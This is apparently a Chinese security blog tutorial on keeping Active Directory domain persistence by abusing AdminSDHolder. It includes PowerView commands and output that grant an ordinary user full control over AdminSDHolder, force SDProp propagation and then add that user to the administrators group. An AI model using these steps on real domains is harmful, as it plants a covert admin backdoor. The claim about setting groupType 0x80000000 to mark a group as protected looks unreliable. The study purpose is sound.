Administrator
发布于 2025-07-16 / 45 阅读
0
0

6.7 域权限维持之AdminSDHolder滥用

活动目录使用AdminSDHolder,Protected Groups和Security Descriptor Propagator来保护特权用户和特权组不被恶意的修改或者滥用。

一、Protected Groups(受保护组)

  • Active Directory 默认将一组关键的内置组(如 Domain Admins、Enterprise Admins、Schema Admins、Administrators 等)标记为“受保护组”。
  • 这些组中的所有成员都会自动被纳入受保护对象的范围,确保它们无法被普通权限下的用户随意修改或移除。
  • 同时,管理员也可以通过向 groupType 属性添加 0x80000000(ADS_GROUP_TYPE_RESOURCE_GROUP | ADS_GROUP_TYPE_SECURITY_ENABLED | ADS_GROUP_TYPE_UNIVERSAL )或其他标志,手动将自定义组标记为受保护组。

二、AdminSDHolder 容器及其安全描述符

  • 在每个域的“System”容器下有一个名为 AdminSDHolder 的特殊对象,它存放了所有受保护帐户和组的“母版”安全描述符(Security Descriptor)。
  • 该安全描述符定义了允许谁对这些对象执行哪些操作(如读取、写入、删除)。
  • 管理员可以手动修改 AdminSDHolder 的 ACL,以调整受保护对象的权限模型,一旦修改,后续的传播过程会将新的权限应用到所有受保护对象上。

三、Security Descriptor Propagator (SDProp) 机制

  • SDProp 是运行在域控制器上的后台任务(LsaSrv 服务的一部分),默认每 60 分钟执行一次。
  • 每次运行时,SDProp 会读取 AdminSDHolder 的安全描述符,并将其与所有受保护对象(即所有受保护组和其成员所对应的 user/computer 对象)当前的安全描述符进行比对。
  • 对比后,SDProp 会覆盖所有差异,使这些对象的 ACL 恒定与 AdminSDHolder 保持一致,防止权限被恶意或意外更改。

四、利用AdminSDHoler实现权限维持

域管:sec\administrator

域普通用户:sec\hack

由于hack用户是普通域用户,无权添加用户或者修改域管组用户

现在我们获得了域管权限,进行如下操作:

修改AdminSDHolder对象的ACL配置,使得域用户hack对其有完全控制的权限。可以使用Empire下的powerview.ps1脚本进行如下修改。

https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

PS C:\Users\Administrator.SEC\Downloads> Import-Module .\powerview.ps1
PS C:\Users\Administrator.SEC\Downloads> Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=sec,DC=local
" -PrincipalIdentity hack -Rights All -Verbose
VERBOSE: [Get-DomainSearcher] search base: LDAP://WIN2016-DC2.SEC.LOCAL/DC=SEC,DC=LOCAL
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=hack)(name=hack)(displayname=hack))))
VERBOSE: [Get-DomainSearcher] search base: LDAP://WIN2016-DC2.SEC.LOCAL/DC=SEC,DC=LOCAL
VERBOSE: [Get-DomainObject] Extracted domain 'sec.local' from 'CN=AdminSDHolder,CN=System,DC=sec,DC=local'
VERBOSE: [Get-DomainSearcher] search base: LDAP://WIN2016-DC2.SEC.LOCAL/DC=sec,DC=local
VERBOSE: [Get-DomainObject] Get-DomainObject filter string:
(&(|(distinguishedname=CN=AdminSDHolder,CN=System,DC=sec,DC=local)))
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=hack,CN=Users,DC=sec,DC=local 'All' on
CN=AdminSDHolder,CN=System,DC=sec,DC=local
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=hack,CN=Users,DC=sec,DC=local rights GUID
'00000000-0000-0000-0000-000000000000' on CN=AdminSDHolder,CN=System,DC=sec,DC=local
PS C:\Users\Administrator.SEC\Downloads>

等待SDProp进程运行,或者手动使用Invoke-ADSDPropagation.ps1脚本手动触发同步。

PS C:\Users\Administrator.SEC\Downloads> Import-Module .\Invoke-ADSDPropagation.ps1
PS C:\Users\Administrator.SEC\Downloads> Invoke-ADSDPropagation -TaskName runProtectAdminGroupsTask
PS C:\Users\Administrator.SEC\Downloads>

测试

C:\Users\hack>net localgroup administrators hack /add /domain
The request will be processed at a domain controller for domain sec.local.

The command completed successfully.

C:\Users\hack>

五、例题

可能存在的考题:为什么administrator不能被普通用户修改的真正原因?

  1. AdminCount 标志位
  • 所有属于“受保护组”(Protected Groups,如 Domain Admins、Enterprise Admins 等)的成员,其 user 或 computer 对象都会被系统自动在属性 adminCount 上打上值 1
  • 这个标志告诉系统:此对象要接受特殊的安全描述符保护。
  1. AdminSDHolder 安全描述符模板
  • 在每个域的 System 容器下,有一个名为 AdminSDHolder 的对象,它承载了“受保护对象”的母版安全描述符(ACL)。
  • 这个 ACL 中只授予高权限主体(如 Domain Admins、Enterprise Admins、SYSTEM 等)修改权限,普通用户和 Authenticated Users 通常不在允许列表中。
  1. Security Descriptor Propagator (SDProp) 周期性同步
  • 域控制器上的 SDProp 后台进程(LsaSrv 服务的一部分)默认每 60 分钟运行一次。
  • 每次运行时,SDProp 会扫描所有 adminCount=1 的对象,将它们的 ACL 强制替换为 AdminSDHolder 上定义的模板。
  • 即使有人临时给 Administrator 对象添加了写权限,也会在下一个周期被撤销,恢复到受保护的状态。

  • 标志(adminCount)→ 模板(AdminSDHolder)→ 同步(SDProp) 这三步构成了对特权账户和组的 “自我修复” 保护机制。
  • 普通用户即使有意或无意地修改 Administrator 对象的权限,也会因为 ACL 本身不允许写操作,或在 SDProp 周期到来时被自动还原,从而无法对其生效。

评论